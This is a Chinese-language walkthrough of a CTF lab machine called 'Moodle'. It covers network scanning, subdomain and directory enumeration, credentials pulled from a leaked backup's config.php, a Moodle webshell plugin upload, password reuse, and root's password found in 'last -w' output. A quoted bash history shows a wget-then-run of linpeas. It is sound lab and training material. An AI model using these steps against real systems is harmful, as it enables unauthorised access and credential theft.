信息收集

主机发现

```
┌──(root__xhhui)-[~/Desktop/xhh/moodle]

└─# arp-scan -I eth1 -l

Interface: eth1, type: EN10MB, MAC: 00:0c:29:6f:75:99, IPv4: 192.168.56.247

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.56.1    0a:00:27:00:00:13       (Unknown: locally administered)

192.168.56.100  08:00:27:d8:33:b3       PCS Systemtechnik GmbH

192.168.56.162  08:00:27:86:ae:15       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.994 seconds (128.39 hosts/sec). 3
responded
```

端口扫描

```
┌──(root__xhhui)-[~/Desktop/xhh/moodle]
└─# nmap -p- 192.168.56.162
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-15 21:54 CST
Nmap scan report for 192.168.56.162 (192.168.56.162)
Host is up (0.00093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:86:AE:15 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds
```

Web -- 80

发现给了个域名

```
┌──(root__xhhui)-[~/Desktop/xhh/moodle]
└─# curl 192.168.56.162
<!-- moodle.dsz -->
```

子域名枚举

发现子域名*dev.moodle.dsz*

```
┌──(root㉿xhhui)-[~/Desktop/xhh/moodle]
└─# wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
-u moodle.dsz -H 'Host: FUZZ.moodle.dsz' --hh 20
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://moodle.dsz/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload



=====================================================================


000000022:   200        95 L     174 W      2512 Ch     "dev"


000000001:   303        52 L     132 W      1482 Ch     "www"


000037212:   400        10 L     35 W       301 Ch      "*"



Total time: 0
Processed Requests: 100000
Filtered Requests: 99997
Requests/sec.: 0
```

对子域名dev目录枚举

发现备份文件

```
┌──(root㉿xhhui)-[~/Desktop/xhh/moodle]
└─# dirsearch -u dev.moodle.dsz
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist
size: 11460

```

```
Output File: /root/Desktop/xhh/moodle/reports/_dev.moodle.dsz/_26-01-15_22-12-13.txt

Target: http://dev.moodle.dsz/

[22:12:13] Starting:
[22:12:13] 403 -  279B  - /.ht_wsr.txt
[22:12:13] 403 -  279B  - /.htaccess.bak1
[22:12:13] 403 -  279B  - /.htaccess.sample
[22:12:13] 403 -  279B  - /.htaccess.orig
[22:12:13] 403 -  279B  - /.htaccess.save
[22:12:13] 403 -  279B  - /.htaccess_extra
[22:12:13] 403 -  279B  - /.htaccess_orig
[22:12:13] 403 -  279B  - /.htaccess_sc
[22:12:13] 403 -  279B  - /.htaccessBAK
[22:12:13] 403 -  279B  - /.htaccessOLD2
[22:12:13] 403 -  279B  - /.htaccessOLD
[22:12:13] 403 -  279B  - /.html
[22:12:13] 403 -  279B  - /.htm
[22:12:13] 403 -  279B  - /.htpasswd_test
[22:12:13] 403 -  279B  - /.htpasswds
[22:12:13] 403 -  279B  - /.httr-oauth
[22:12:14] 403 -  279B  - /.php
[22:12:22] 200 -   74MB - /backup.tar.gz
[22:12:26] 302 -    0B  - /dashboard.php  ->  index.php
[22:12:35] 302 -    0B  - /logout.php  ->  index.php
[22:12:44] 403 -  279B  - /server-status
[22:12:44] 403 -  279B  - /server-status/

Task Completed
```

代码审计

解压备份文件

```
┌──(root__xhhui)-[~/Desktop/xhh/moodle]
└─# tar -zxvf backup.tar.gz
```

查看config.php文件，发现一个密码

```
┌──(root__xhhui)-[~/Desktop/xhh/moodle]
└─# cat ./moodle/config.php
<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mariadb';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodleuser';
$CFG->dbpass    = 'StrongPassword123!';
```

```
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => '',
  'dbsocket' => '',
  'dbcollation' => 'utf8mb4_unicode_ci',
);

// password: pzp5V2Of3akjaJrhRauR.  #<-----密码
$CFG->wwwroot   = 'http://moodle.dsz';
$CFG->dataroot  = '/var/www/moodle';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 02777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!
```

后台上传webshell

通过获得的密码进入后台

https://github.com/p0dalirius/Moodle-webshell-plugin

通过教程上传webshell

To kotri

发现用户kotori

```
#cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
```

```
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
kotori:x:1000:1000:,,,:/home/kotori:/bin/bash
```

尝试密码复用

```
# su kotori
Password:
# id
uid=1000(kotori) gid=1000(kotori) groups=1000(kotori)
```

To root

history文件还在

```
kotori@Moodle:~$ ls -al
total 360
drwxr-xr-x 3 kotori kotori   4096 Dec 26 23:16 .
drwxr-xr-x 3 root   root     4096 Dec 26 22:38 ..
-rw------- 1 kotori kotori     74 Dec 26 23:16 .bash_history
-rw-r--r-- 1 kotori kotori    220 Dec 26 22:21 .bash_logout
-rw-r--r-- 1 kotori kotori   3526 Dec 26 22:21 .bashrc
drwx------ 2 kotori kotori   4096 Dec 26 22:41 .gnupg
-rw-r--r-- 1 kotori kotori 332111 Apr 17  2023 linpeas.sh
-rw-r--r-- 1 kotori kotori    807 Dec 26 22:21 .profile
-rw-r--r-- 1 root   root       44 Dec 26 22:22 user.txt
```

常规检查发现*hint.txt*

```
kotori@Moodle:~$ ls -al /opt
total 12
drwxr-xr-x  2 root root 4096 Dec 26 22:44 .
drwxr-xr-x 18 root root 4096 Dec 26 22:01 ..
-rw-r--r--  1 root root   63 Dec 26 22:44 hint.txt
kotori@Moodle:~$ cat /opt/hint.txt
root 的凭证隐藏在纵目睽睽之下
// ^[a-zA-Z0-9]{20}$
#匹配长度恰好为 20 的字符串，且字符串只能包含字母（大小写）和数字。
```

查看*.bash_history*

```
kotori@Moodle:~$ cat .bash_history
last    #Linux 核心系统审计命令，专门用来查看「系统的登录 / 登出记录」
exit
ls al
ls- al
wget 192.168.3.94/linpeas.sh
bash linpeas.sh
exit
```

我也审计，发现密码出现在用户名上

```
kotori@Moodle:~$ last
kotori   pts/0        192.168.56.247   Thu Jan 15 10:34   still logged in
kotori   pts/0        192.168.56.247   Thu Jan 15 10:14 - 10:33  (00:19)
reboot   system boot  5.10.0-32-amd64  Thu Jan 15 08:47   still running
reboot   system boot  5.10.0-32-amd64  Sat Jan 10 08:30 - 08:56  (00:26)
root     pts/0        192.168.3.94     Fri Dec 26 23:13 - crash (14+09:16)
reboot   system boot  5.10.0-32-amd64  Fri Dec 26 23:13 - 08:56 (14+09:43)
sF6Kfzr6 pts/1        192.168.3.94     Fri Dec 26 22:38 - 22:38  (00:00)
#↑↑↑↑↑↑
（......）
```

加-w读取完整用户名

```
kotori@Moodle:~$ last -w
kotori   pts/0        192.168.56.247   Thu Jan 15 10:34   still logged in
kotori   pts/0        192.168.56.247   Thu Jan 15 10:14 - 10:33  (00:19)
reboot   system boot  5.10.0-32-amd64  Thu Jan 15 08:47   still running
reboot   system boot  5.10.0-32-amd64  Sat Jan 10 08:30 - 08:56  (00:26)
root     pts/0        192.168.3.94     Fri Dec 26 23:13 - crash (14+09:16)
reboot   system boot  5.10.0-32-amd64  Fri Dec 26 23:13 - 08:56 (14+09:43)
sF6Kfzr69w7dyZALAhl6 pts/1        192.168.3.94     Fri Dec 26 22:38 - 22:38  (00:00)
#↑↑↑↑↑↑
（......）
```

user.txt && root.txt

```
root@Moodle:/home/kotori# cat user.txt && cat /root/root.txt
flag{user-de7202216bc84a6aa04762061c9e9ad2}
flag{root-ea6233d6aa262b93419775a51a8cc1df}
```